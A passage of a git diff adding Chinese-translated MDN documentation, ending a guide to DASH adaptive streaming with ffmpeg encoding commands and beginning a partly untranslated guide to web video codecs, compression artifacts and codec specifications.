+ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 -g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=1280:720 -b:v 1500k  video_1280x720_1500k.webm
+
+ +

或使用命令创建以上视频:

+ +
ffmpeg -i in.video -c:v libvpx-vp9 -keyint_min 150 \
+-g 150 -tile-columns 4 -frame-parallel 1  -f webm -dash 1 \
+-an -vf scale=160:190 -b:v 250k video_160x90_250k.webm \
+-an -vf scale=320:180 -b:v 500k video_320x180_500k.webm \
+-an -vf scale=640:360 -b:v 750k  video_640x360_750k.webm \
+-an -vf scale=640:360 -b:v 1000k  video_640x360_1000k.webm \
+-an -vf scale=1280:720 -b:v 1500k  video_1280x720_1500k.webm
+ +

2. 创建清单文件

+ +
ffmpeg \
+  -f webm_dash_manifest -i video_160x90_250k.webm \
+  -f webm_dash_manifest -i video_320x180_500k.webm \
+  -f webm_dash_manifest -i video_640x360_750k.webm \
+  -f webm_dash_manifest -i video_1280x720_1500k.webm \
+  -f webm_dash_manifest -i my_audio.webm \
+  -c copy \
+  -map 0 -map 1 -map 2 -map 3 -map 4 \
+  -f webm_dash_manifest \
+  -adaptation_sets "id=0,streams=0,1,2,3 id=1,streams=4" \
+  my_video_manifest.mpd
+ +

-map 参数对应输入文件的顺序(每个文件只对应一个参数)。-adaptation_sets 参数将它们分配给适配集;例如,以上命令创建一个包含 0,1,2,3 的视频集(0),而另一个(1)仅仅包含视频流 4 和音频流。

+ +

将清单和相关的视频文件放在Web服务器或CDN上。 DASH通过HTTP来完成,因此只要您的HTTP服务器支持字节范围请求,并且DASH设置为使用 mimetype="application/dash+xml" 来支持 .mpd 文件即可。

+ +

使用DASH-客户端

+ +

您将需要修改网页,使其首先指向DASH清单,而不是直接指向特定的视频文件:

+ +
<video>
+  <source src="movie.mpd">
+  <source src="movie.webm">
+  Your browser does not support the video tag.
+</video>
+ +

如果浏览器支持DASH,则您的视频现在将自适应地流式传输。

+ + + +

WebM DASH Specification at The WebM Project

+ +

DASH Industry Forum

+ +

WebM project description of how to create DASH files with FFMPEG

diff --git a/files/zh-cn/web/media/formats/video_codecs/index.html b/files/zh-cn/web/media/formats/video_codecs/index.html new file mode 100644 index 0000000000..d299975762 --- /dev/null +++ b/files/zh-cn/web/media/formats/video_codecs/index.html @@ -0,0 +1,1673 @@ +--- +title: 网络视频编解码器指南 +slug: Web/Media/Formats/视频编解码器 +translation_of: Web/Media/Formats/Video_codecs +--- +
{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}
+ +

未经压缩的视频的数据量太大了,我们有必要进行很多压缩处理来存储视频,就更不用说通过网络传输视频的时候了。想象一下我们需要多少数据来存储未经压缩的视频:

+ +
    +
  • 全色彩的高清视频(1920x1080)每一帧为 8,294,400 字节。
  • +
  • 按照典型的每秒30帧的传播速度,高清视频每秒钟会占用 248,832,000 字节(约 249 MB)。
  • +
  • 一分钟的高清视频将需要 1.39GB 的存储空间。
  • +
  • 一个相当典型的30分钟视频会议将需要约 47.1GB 的存储空间,而2小时的电影则需要将近 166GB 的存储空间。
  • +
+ +

不仅仅是需要的存储空间很大的问题,以 249MB 每秒的速度传输这样的未压缩的视频所需要的网络带宽也很大(不包括音频和开销)。这就是为什么我们需要视频编解码器。就像音频编解码器对声音数据所做的处理一样,视频编解码器会压缩视频数据并将其编码为一种格式,以后我们可以对其进行解码,播放或者编辑。

+ +

大多数的视频编解码器是有损的(解码后的视频与原来的视频不完全匹配)。一些细节可能会丢失,丢失的数量取决于编解码器和它的配置方式。通常来说,压缩程度越高,细节丢失的越多,视频失真更严重。虽然现在也有一些无损编解码器,但是通常都是用于存档和存储在本地来进行本地回放的,而不是在网络上使用。

+ +

本指南介绍了一些你可能遇到或者考虑去使用的网络视频编解码器的功能以及一些兼容性和实用性问题。并且帮助您为项目视频选择正确的编解码器提供一些建议。

+ +

通用编解码器

+ +

以下视频编解码器是网上最常用的视频编解码器。每个编解码器都列出了它们可以支持的文件类型。每个编解码器都提供了一个指向下文相关部分详细内容的快捷链接,包含一些您可能需要了解的特定功能和兼容性问题。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
编解码器名称 (简称)编解码器全称支持文件类型
AV1AOMedia Video 1MP4, WebM
AVC (H.264)Advanced Video Coding3GP, MP4, WebM
H.263H.263 Video3GP
HEVC (H.265)High Efficiency Video CodingMP4
{{anch("MP4V-ES")}}MPEG-4 Video Elemental Stream3GP, MP4
{{anch("MPEG-1")}}MPEG-1 Part 2 VisualMPEG, QuickTime
{{anch("MPEG-2")}}MPEG-2 Part 2 VisualMP4, MPEG, QuickTime
TheoraTheoraOgg
VP8Video Processor 83GP, Ogg, WebM
VP9Video Processor 9MP4, Ogg, WebM
+ +

影响编码视频的因素

+ +

和任何编码器一样,有两个会影响到编码视频大小和质量的因素:源视频的格式和内容,以及在对视频进行编码时候使用的编解码器的特性和配置。

+ +

最简单的原则是:如果要让编码视频看起来更像原始的未压缩过的视频,那么通常得到的视频会更大。因此我们始终要在尺寸和质量之间进行权衡。在某些情况下,我们会为了降低数据大小而接受质量的损失。但是其他时候,我们不能接受质量损失,所以我们必须接受会导致文件相应增大的编码器配置。

+ +

源视频格式对编码输出的影响

+ +

源视频格式影响编码输出的程度取决于编解码器及其工作方式。如果编解码器将视频媒体转换为内部像素的格式,或者使用使用简单像素以外的方法表示图像,那么原始图像的格式对编码输出没有什么影响。但是,诸如帧频和分辨率之类始终会对媒体视频的输出大小产生影响。

+ +

Additionally, all codecs have their strengths and weaknesses. Some have trouble with specific kinds of shapes and patterns, or aren't good at replicating sharp edges, or tend to lose detail in dark areas, or any number of possibilities. It all depends on the underlying algorithms and mathematics.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
The potential effect of source video format and contents on the encoded video quality and size
Feature对质量的影响对尺寸的影响
Color depth (bit depth)颜色位深越高,视频中颜色保真度质量就越高。除此之外,在图像饱和部分(颜色纯而强烈的,例如明亮纯红色[rgba(255,0,0,1)),低于每分量10色深(10bits色彩)允许条带化,其中,如果没有可见色阶跃就无法表示渐变。Depending on the codec, higher color depths may result in larger compressed file sizes. The determining factor is what internal storage format is used for the compressed data.
Frame ratePrimarily affects the perceived smoothness of the motion in the image. To a point, the higher the frame rate, the smoother and more realistic the motion will appear. Eventually the point of diminishing returns is reached. See {{anch("Frame rate")}} below for details.Assuming the frame rate is not reduced during encoding, higher frame rates cause larger compressed video sizes.
MotionCompression of video typically works by comparing frames, finding where they differ, and constructing records containing enough information to update the previous frame to approximate the appearance of the following frame. The more successive frames differ from one another, the larger these differences are, and the less effective the compression is at avoiding the introduction of artifacts into the compressed video.The complexity introduced by motion results in larger intermediate frames due to the higher number of differences between frames). For this and other reasons, the more motion there is in a video, the larger the output file will typically be.
NoisePicture noise (such as film grain effects, dust, or other grittiness to the image) introduces variability. Variability generally makes compression more difficult, resulting in more lost quality due to the need to drop details to achieve the same level of compression.The more variability—such as noise—there is in the image, the more complex the compression process and the less success the algorithm is likely to have compressing the image to the same degree. Unless you configure the encoder in a way that ignores some or all of the variations caused by noise, the compressed video will be larger.
Resolution (width and height)Higher resolution video, presented in the same screen size, will typically be able to more accurately portray the original scene, barring effects introduced during compression.The higher the resolution of a video, the larger it gets. This plays a key role in the final size of the video.
+ +

The degree to which these affect the resulting encoded video will vary depending on the precise details of the situation, including which encoder you use and how it's configured. In addition to general codec options, the encoder could be configured to reduce the frame rate, to clean up noise, and/or to reduce the overall resolution of the video during encoding.

+ +

Effect of codec configuration on encoded output

+ +

The algorithms used do encode video typically use one or more of a number of general techniques to perform their encoding. Generally speaking, any configuration option that is intended to reduce the output size of the video will probably have a negative impact on the overall quality of the video, or will introduce certain types of artifacts into the video. It's also possible to select a lossless form of encoding, which will result in a much larger encoded file but with perfect reproduction of the original video upon decoding.

+ +

In addition, each encoder utility may have variations in how they process the source video, resulting in differences in the output quality and/or size.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Video encoder configuration effects on quality and size
FeatureEffect on qualityEffect on size
Lossless compressionNo loss of qualityLossless compression cannot reduce the overall video size nearly as much as lossy compression; the resulting files are likely to still be too large for general usage.
Lossy compressionTo some degree, artifacts and other forms of quality degradation wil occur, depending on the specific codec and how much compression is being appliedThe more the encoded video is allowed to deviate from the source, the easier it is to accomplish higher compression rates
Quality settingThe higher the quality configuration, the more like the original media the encoded video will lookIn general, higher quality settings will result in larger encoded video files; the degree to which this is true varies depending on the codec
Bit rateQuality generally improves with higher bit ratesHigher bit rates inherently lead to larger output files
+ +

The options available when encoding video, and the values to be assigned to those options, will vary not only from one codec to another but depending on the encoding software you use. The documentation included with your encoding software will help you to understand the specific impact of these options on the encoded video.

+ +

Compression artifacts

+ +

Artifacts are side effects of a lossy encoding process in which the lost or rearranged data results in visibly negative effects. Once an artifact has appeared, it may linger for a while, because of how video is displayed. Each frame of video is presented by applying a set of changes to the currently-visible frame. This means that any errors or artifacts will compound over time, resulting in glitches or otherwise strange or unexpected deviations in the image that linger for a time.

+ +

To resolve this, and to improve seek time through the video data, periodic key frames (also known as intra-frames or i-frames) are placed into the video file. The key frames are full frames, which are used to repair any damage or artifact residue that's currently visible.

+ +

Aliasing

+ +

Aliasing is a general term for anything that upon being reconstructed from the encoded data does not look the same as it did before compression. There are many forms of aliasing; the most common ones you may see include:

+ + + + + + + + + + + + + + + + +
+

Moiré patterns

+ +

A {{interwiki("Moiré pattern")}} is a large-scale spatial interference pattern produced when a pattern in the source image and the manner in which the encoder operates are slightly out of alignment spatially. The artifacts generated by the encoder then introduce strange, swirling effects in the source image's pattern upon decoding.

+
+

Staircase effect

+ +

The staircase effect is a spatial artifact that occurs when diagonal straight or curved edges that should be smooth take on a jagged appearance, looking somewhat like a set of stair steps. This is the effect that is being reduced by "anti-aliasing" filters.

+
+

Wagon-wheel effect

+ +

The wagon-wheel effect (or {{interwiki("wikipedia", "stroboscopic effect")}}) is the visual effect that's commonly seen in film, in which a turning wheel appears to rotate at the wrong speed, or even in reverse, due to an interaction between the frame rate and the compression algorithm. The same effect can occur with any repeating pattern that moves, such as the ties on a railway line, posts along the side of a road, and so forth. This is a temporal (time-based) aliasing issue; the speed of the rotation interferes with the frequency of the sampling performed during compression or encoding.

+
+ +

Color edging

+ +

Color edging is a type of visual artifact that presents as spurious colors introduced along the edges of colored objects within the scene. These colors have no intentional color relationship to the contents of the frame.

+ +

 Loss of sharpness

+ +

The act of removing data in the process of encoding video requires that some details be lost. If enough compression is applied, parts or potentially all of the image could lose sharpness, resulting in a slightly fuzzy or hazy appearance.

+ +

Lost sharpness can make text in the image difficult to read, as text—especially small text—is very detail-oriented content, where minor alterations can significantly impact legibility.

+ +

Ringing

+ +

Lossy compression algorithms can introduce {{interwiki("wikipedia", "ringing artifacts", "ringing")}}, an effect where areas outside an object are contaminated with colored pixels generated by the compression algorithm. This happens when an algorithm that uses blocks that span across a sharp boundary between an object and its background. This is particularly common at higher compression levels.

+ +

Example of the ringing effect

+ +

Note the blue and pink fringes around the edges of the star above (as well as the stepping and other significant compression artifacts). Those fringes are the ringing effect. Ringing is similar in some respects to {{anch("Mosquito noise", "mosquito noise")}}, except that while the ringing effect is more or less steady and unchanging, mosquito noise shimmers and moves.

+ +

RInging is another type of artifact that can make it particularly difficult to read text contained in your images.

+ +

Posterizing

+ +

Posterization occurs when the compression results in the loss of color detail in gradients. Instead of smooth transitions through the various colors in a region, the image becomes blocky, with blobs of color that approximate the original appearance of the image.

+ +

+ +

Note the blockiness of the colors in the plumage of the bald eagle in the photo above (and the snowy owl in the background). The details of the feathers is largely lost due to these posterization artifacts.

+ +

Contouring

+ +

Contouring or color banding is a specific form of posterization in which the color blocks form bands or stripes in the image. This occurs when the video is encoded with too coarse a quantization configuration. As a result, the video's contents show a "layered" look, where instead of smooth gradients and transitions, the transitions from color to color are abrupt, causing strips of color to appear.

+ +

Example of an image whose compression has introduced contouring

+ +

In the example image above, note how the sky has bands of different shades of blue, instead of being a consistent gradient as the sky color changes toward the horizon. This is the contouring effect.

+ +

Mosquito noise

+ +

Mosquito noise is a temporal artifact which presents as noise or edge busyness that appears as a flickering haziness or shimmering that roughly follows outside the edges of objects with hard edges or sharp transitions between foreground objects and the background. The effect can be similar in appearance to {{anch("Ringing", "ringing")}}.

+ +

+ +

The photo above shows mosquito noise in a number of places, including in the sky surrounding the bridge. In the upper-right corner, an inset shows a close-up of a portion of the image that exhibits mosquito noise.

+ +

Mosquito noise artifacts are most commonly found in MPEG video, but can occur whenever a discrete cosine transform (DCT) algorithm is used; this includes, for example, JPEG still images.

+ +

Motion compensation block boundary artifacts

+ +

Compression of video generally works by comparing two frames and recording the differences between them, one frame after another, until the end of the video. This technique works well when the camera is fixed in place, or the objects in the frame are relatively stationary, but if there is a great deal of motion in the frame, the number of differences between frames can be so great that compression doesn't do any good.

+ +

{{interwiki("wikipedia", "Motion compensation")}} is a technique that looks for motion (either of the camera or of objects in the frame of view) and determines how many pixels the moving object has moved in each direction. Then that shift is stored, along with a description of the pixels that have moved that can't be described just by that shift. In essence, the encoder finds the moving objects, then builds an internal frame of sorts that looks like the original but with all the objects translated to their new locations. In theory, this approximates the new frame's appearance. Then, to finish the job, the remaining differences are found, then the set of object shifts and the set of pixel differences are stored in the data representing the new frame. This object that describes the shift and the pixel differences is called a residual frame.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Original frameInter-frame differencesDifference after motion compensation
Original frame of videoDifferences between the frames after shifting two pixels right
The first full frame as seen by the viewer.Here, only the differences between the first frame and the following frame are seen. Everything else is black. Looking closely, we can see that the majority of these differences come from a horizontal camera move, making this a good candidate for motion compensation.To minimize the number of pixels that are different, here we take into account the panning of the camera by first shifting the first frame to the right by two pixels, then by taking the difference. This compensates for the panning of the camera, allowing for more overlap between the two frames.
Images from Wikipedia
+ +

There are two general types of motion compensation: global motion compensation and block motion compensation. Global motion compensation generally adjusts for camera movements such as tracking, dolly movements, panning, tilting, rolling, and up and down movements. Block motion compensation handles localized changes, looking for smaller sections of the image that can be encoded using motion compensation. These blocks are normally of a fixed size, in a grid, but there are forms of motion compensation that allow for variable block sizes, and even for blocks to overlap.

+ +

There are, however, artifacts that can occur due to motion compensation. These occur along block borders, in the form of sharp edges that produce false ringing and other edge effects. These are due to the mathematics involved in the coding of the residual frames, and can be easily noticed before being repaired by the next key frame.

+ +

Reduced frame size

+ +

In certain situations, it may be useful to reduce the video's dimensions in order to improve the final size of the video file. While the immediate loss of size or smoothness of playback may be a negative factor, careful decision-making can result in a good end result. If a 1080p video is reduced to 720p prior to encoding, the resulting video can be much smaller while having much higher visual quality; even after scaling back up during playback, the result may be better than encoding the original video at full size and accepting the quality hit needed to meet your size requirements.

+ +

Reduced frame rate

+ +

Similarly, you can remove frames from the video entirely and decrease the frame rate to compensate. This has two benefits: it makes the overall video smaller, and that smaller size allows motion compensation to accomplish even more for you. For exmaple, instead of computing motion differences for two frames that are two pixels apart due to inter-frame motion, skipping every other frame could lead to computing a difference that comes out to four pixels of movement. This lets the overall movement of the camera be represented by fewer residual frames.

+ +

The absolute minimum frame rate that a video can be before its contents are no longer perceived as motion by the human eye is about 12 frames per second. Less than that, and the video becomes a series of still images. Motion picture film is typically 24 frames per second, while standard definition television is about 30 frames per second (slightly less, but close enough) and high definition television is between 24 and 60 frames per second. Anything from 24 FPS upward will generally be seen as satisfactorily smooth; 30 or 60 FPS is an ideal target, depending on your needs.

+ +

In the end, the decisions about what sacrifices you're able to make are entirely up to you and/or your design team.

+ +

Codec details

+ +

AV1

+ +

The AOMedia Video 1 (AV1) codec is an open format designed by the Alliance for Open Media specifically for internet video. It achieves higher data compression rates than {{anch("VP9")}} and {{anch("HEVC", "H.265/HEVC")}}, and as much as 50% higher rates than AVC. AV1 is fully royalty-free and is designed for use by both the {{HTMLElement("video")}} element and by WebRTC.

+ +

AV1 currently offers three profiles: main, high, and professional with increasing support for color depths and chroma subsampling. In addition, a series of levels are specified, each defining limits on a range of attributes of the video. These attributes include frame dimensions, image area in pixels, display and decode rates, average and maximum bit rates, and limits on the number of tiles and tile columns used in the encoding/decoding process.

+ +

For example, level AV1 level 2.0 offers a maximum frame width of 2048 pixels and a maximum height of 1152 pixels, but its maximum frame size in pixels is 147,456, so you can't actually have a 2048x1152 video at level 2.0. It's worth noting, however, that at least for Firefox and Chrome, the levels are actually ignored at this time when performing software decoding, and the decoder just does the best it can to play the video given the settings provided. For compatibility's sake going forward, however, you should stay within the limits of the level you choose.

+ +

The primary drawback to AV1 at this time is that it is very new, and support is still in the process of being integrated into most browsers. Additionally, encoders and decoders are still being optimized for performance, and hardware encoders and decoders are still mostly in development rather than production. For this reason, encoding a video into AV1 format takes a very long time, since all the work is done in software.

+ +

For the time being, because of these factors, AV1 is not yet ready to be your first choice of video codec, but you should watch for it to be ready to use in the future.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesVaries depending on the video's level; theoretical maximum reaches 800 Mbps at level 6.3[2]
Supported frame ratesVaries by level; for example, level 2.0 has a maximum of 30 FPS while level 6.3 can reach 120 FPS
CompressionLossy DCT-based algorithm
Supported frame sizes8 x 8 pixels to 65,535 x 65535 pixels with each dimension allowed to take any value between these
Supported color modes + + + + + + + + + + + + + + + + + + + + + + + + + +
ProfileColor depthsChroma subsampling
Main8 or 104:0:0 (greyscale) or 4:2:0
High8 or 104:0:0 (greyscale), 4:2:0, or 4:4:4
Professional8, 10, or 124:0:0 (greyscale), 4:2:0, 4:2:2, or 4:4:4
+
HDR supportYes
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
AV1 support707567No57No
+
Container supportISOBMFF[1], MPEG-TS, MP4, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationAlliance for Open Media
Specificationhttps://aomediacodec.github.io/av1-spec/av1-spec.pdf
LicensingRoyalty-free, open standard
+ +

[1] {{interwiki("wikipedia", "ISO Base Media File Format")}}

+ +

[2] See the AV1 specification's tables of levels, which describe the maximum resolutions and rates at each level.

+ +

AVC (H.264)

+ +

The MPEG-4 specification suite's Advanced Video Coding (AVC) standard is specified by the identical ITU H.264 specification and the MPEG-4 Part 10 specification. It's a motion compensation based codec that is widely used today for all sorts of media, including broadcast television, {{Glossary("RTP")}} videoconferencing, and as the video codec for Blu-Ray discs.

+ +

AVC is highly flexible, with a number of profiles with varying capabilities; for example, the Constrained Baseline Profile is designed for use in videoconferencing and mobile scenarios, using less bandwidth than the Main Profile (which is used for standard definition digital TV in some regions) or the High Profile (used for Blu-Ray Disc video). Most of the profiles use 8-bit color components and 4:2:0 chroma subsampling; The High 10 Profile adds support for 10-bit color, and advanced forms of High 10 add 4:2:2 and 4:4:4 chroma subsampling.

+ +

AVC also has special features such as support for multiple views of the same scene (Multiview Video Coding), which allows, among other things, the production of stereoscopic video.

+ +

AVC is a proprietary format, however, and numerous patents are owned by multiple parties regarding its technologies. Commercial use of AVC media requires a license, though the MPEG LA patent pool does not require license fees for streaming internet video in AVC format as long as the video is free for end users.

+ +

Non-web browser implementations of WebRTC (any implementation which doesn't include the JavaScript APIs) are required to support AVC as a codec in WebRTC calls. While web browsers are not required to do so, some do.

+ +

In HTML content for web browsers, AVC is broadly compatible and many platforms support hardware encoding and decoding of AVC media. However, be aware of its licensing requirements before choosing to use AVC in your project!

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesVaries by level
Supported frame ratesVaries by level; up to 300 FPS is possible
CompressionLossy DCT-based algorithm, though it's possible to create lossless macroblocks within the image
Supported frame sizesUp to 8,192 x 4,320 pixels
Supported color modes +

Some of the more common or interesting profiles:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ProfileColor depthsChroma subsampling
Constrained Baseline (CBP)84:2:0
Baseline (BP)84:2:0
Extended (XP)84:2:0
Main (MP)84:2:0
High (HiP)84:0:0 (greyscale) and 4:2:0
Progressive High (ProHiP)84:0:0 (greyscale) and 4:2:0
High 10 (Hi10P)8 to 104:0:0 (greyscale) and 4:2:0
High 4:2:2 (Hi422P)8 to 104:0:0 (greyscale), 4:2:0, and 4:2:2
High 4:4:4 Predictive8 to 144:0:0 (greyscale), 4:2:0, 4:2:2, and 4:4:4
+
HDR supportYes; {{interwiki("wikipedia", "Hybrid Log-Gamma")}} or Advanced HDR/SL-HDR; both are part of ATSC
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
AVC/H.265 support41235[1]9253.2
+
Container support3GP, MP4, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationMPEG / ITU
Specificationhttps://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding
+ https://www.itu.int/rec/T-REC-H.264
LicensingProprietary with numerous patents. Commercial use requires a license. Note that multiple patent pools may apply.
+ +

[1] Firefox support for AVC is dependent upon the operating system's built-in or preinstalled codecs for AVC and its container in order to avoid patent concerns.

+ +

H.263

+ +

ITU's H.263 codec was designed primarily for use in low-bandwidth situations. In particular, its focus is for video conferencing on PSTN (Public Switched Telephone Networks), {{Glossary("RTSP")}}, and SIP (IP-based videoconferencing) systems. Despite being optimized for low-bandwidth networks, it is fairly CPU intensive and may not perform adequately on lower-end computers. The data format is similar to that of MPEG-4 Part 2.

+ +

H.263 has never been widely used on the web. Variations on H.263 have been used as the basis for other proprietary formats, such as Flash video or the Sorenson codec. However, no major browser has ever included H.263 support by default. Certain media plugins have enabled support for H.263 media.

+ +

Unlike most codecs, H.263 defines fundamentals of an encoded video in terms of the maximum bit rate per frame (picture), or BPPmaxKb. During encoding, a value is selected for BPPmaxKb, and then the video cannot exceed this value for each frame. The final bit rate will depend on this, the frame rate, the compression, and the chosen resolution and block format.

+ +

H.263 has been superseded by H.264 and is therefore considered a legacy media format which you generally should avoid using if you can. The only real reason to use H.263 in new projects is if you require support on very old devices on which H.263 is your best choice.

+ +

H.263 is a proprietary format, with patents held by a number of organizations and companies, including Telenor, Fujitsu, Motorola, Samsung, Hitachi, Polycom, Qualcomm, and so on. To use H.263, you are legally obligated to obtain the appropriate licenses.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUnrestricted, but typically below 64 Kbps
Supported frame ratesAny
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 1408 x 1152 pixels[2]
Supported color modesYCbCr; each picture format (sub-QCIF, QCIF, CIF, 4CIF, or 16CIF)  defines the frame size in pixels as well as how many rows each of luminance and chrominance samples are used for each frame
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
H.263 supportNoNoNo[1]NoNoNo
+
Container support3GP, MP4, QuickTime
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationITU
Specificationhttps://www.itu.int/rec/T-REC-H.263/
LicensingProprietary; appropriate license or licenses are required. Note that multiple patent pools may apply.
+ +

[1] While Firefox does not generally support H.263, the OpenMax platform implementation (used for the Boot to Gecko project upon which Firefox OS was based) did support H.263 in 3GP files.

+ +

[2] Version 1 of H.263 specifies a set of picture sizes which are supported. Later versions may support additional resolutions.

+ +

HEVC (H.265)

+ +

The High Efficiency Video Coding (HVEC) codec is defined by ITU's H.265 as well as by MPEG-H Part 2 (the still in-development follow-up to MPEG-4). HEVC was designed to support efficient encoding and decoding of video in sizes including very high resolutions (including 8K video), with a structure specifically designed to let software take advantage of modern processors. Theoretically, HEVC can achieve compressed file sizes half that of {{anch("AVC")}} but with comparable image quality.

+ +

For example, each coding tree unit (CTU)—similar to the macroblock used in previous codecs—consists of a tree of luma values for each sample as well as a tree of chroma values for each chroma sample used in the same coding tree unit, as well as any required syntax elements. This structure supports easy processing by multiple cores.

+ +

An interesting feature of HEVC is that the main profile supports only 8 bit per component color with 4:2:0 chroma subsampling. Also interesting is that 4:4:4 video is handled specially. Instead of having the luma samples (representing the image's pixels in grayscale) and the Cb and Cr samples (indicating how to alter the grays to create color pixels), the three channels are instead treated as three monochrome images, one for each color, which are then combined during rendering to produce a full-color image.

+ +

HEVC is a proprietary format and is covered by a number of patents.  Licensing is managed by MPEG LA; fees are charged to developers rather than to content producers and distributors. Be sure to review the latest license terms and requirements before making a decision on whether or not to use HEVC in your app or web site!

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUp to 800,000 Kbps
Supported frame ratesVaries by level; up to 300 FPS is possible
CompressionLossy DCT-based algorithm
Supported frame sizes128 x 96 to 8,192 x 4,320 pixels; varies by profile and level
Supported color modes +

Information below is provided for the major profiles. There are a number of other profiles available that are not included here.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ProfileColor depthsChroma subsampling
Main84:2:0
Main 108 to 104:2:0
Main 128 to 124:0:0 and 4:2:0
Main 4:2:2 108 to 104:0:0, 4:2:0, and 4:2:2
Main 4:2:2 128 to 124:0:0, 4:2:0, and 4:2:2
Main 4:4:484:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 108 to 104:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 128 to 124:0:0, 4:2:0, 4:2:2, and 4:4:4
Main 4:4:4 16 Intra8 to 164:0:0, 4:2:0, 4:2:2, and 4:4:4
+
HDR supportYes
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
HEVC / H.265 supportNo18[1]No[2]11[1]No11
+
Container supportMP4
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationITU / MPEG
Specificationshttp://www.itu.int/rec/T-REC-H.265
+ https://www.iso.org/standard/69668.html
LicensingProprietary; confirm your compliance with the licensing requirements. Note that multiple patent pools may apply.
+ +

[1] Internet Explorer and Edge only supports HEVC on devices with a hardware codec.

+ +

[2] Mozilla will not support HEVC while it is encumbered by patents.

+ +

MP4V-ES

+ +

The MPEG-4 Video Elemental Stream (MP4V-ES) format is part of the MPEG-4 Part 2 Visual standard. While in general, MPEG-4 part 2 video is not used by anyone because of its lack of compelling value related to other codecs, MP4V-ES does have some usage on mobile. MP4V is essentially H.263 encoding in an MPEG-4 container.

+ +

Its primary purpose is to be used to stream MPEG-4 audio and video over an {{Glossary("RTP")}} session. However, MP4V-ES is also used to transmit MPEG-4 audio and video over a mobile connection using 3GP.

+ +

You almost certainly don't want to use this format, since it isn't supported in a meaningful way by any major browsers, and is quite obsolete. Files of this type should have the extension .mp4v, but sometimes are inaccurately labeled .mp4.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit rates5 Kbps to 1 Gbps and more
Supported frame ratesNo specific limit; restricted only by the data rate
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 4,096 x 4,096 pixels
Supported color modesYCrCb with chroma subsampling (4:2:0, 4:2:2, and 4:4:4) supported; up to 12 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MP4V-ES supportNo[2]NoYes[1]NoNoNo
+
Container support3GP, MP4
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG
Specification{{RFC(6416)}}
LicensingProprietary; obtain a license through MPEG LA and/or AT&T as needed
+ +

[1] Firefox supports MP4V-ES in 3GP containers only.

+ +

[2] Chrome does not support MP4V-ES; however, Chrome OS does.

+ +

MPEG-1 Part 2 Video

+ +

MPEG-1 Part 2 Video was unveiled at the beginning of the 1990s. Unlike the later MPEG video standards, MPEG-1 was created solely by MPEG, without the {{Glossary("ITU", "ITU's")}} involvement.

+ +

Because any MPEG-2 decoder can also play MPEG-1 video, it's compatible with a wide variety of software and hardware devices. There are no active patents remaining in relation to MPEG-1 video, so it may be used free of any licensing concerns. However, few web browsers support MPEG-1 video without the support of a plugin, and with plugin use deprecated in web browsers, these are generally no longer available. This makes MPEG-1 a poor choice for use in web sites and web applications.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUp to 1.5 Mbps
Supported frame rates23.976 FPS, 24 FPS, 25 FPS, 29.97 FPS, 30 FPS, 50 FPS, 59.94 FPS, and 60 FPS
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 4,095 x 4,095 pixels
Supported color modesY'CbCr with 4:2:0 chroma subsampling with up to 12 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MPEG-1 supportNoNoNoNoNoYes
+
Container supportMPEG
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG
Specificationhttps://www.iso.org/standard/22411.html
LicensingProprietary; however, all patents have expired, so MPEG-1 may be used freely
+ +

MPEG-2 Part 2 Video

+ +

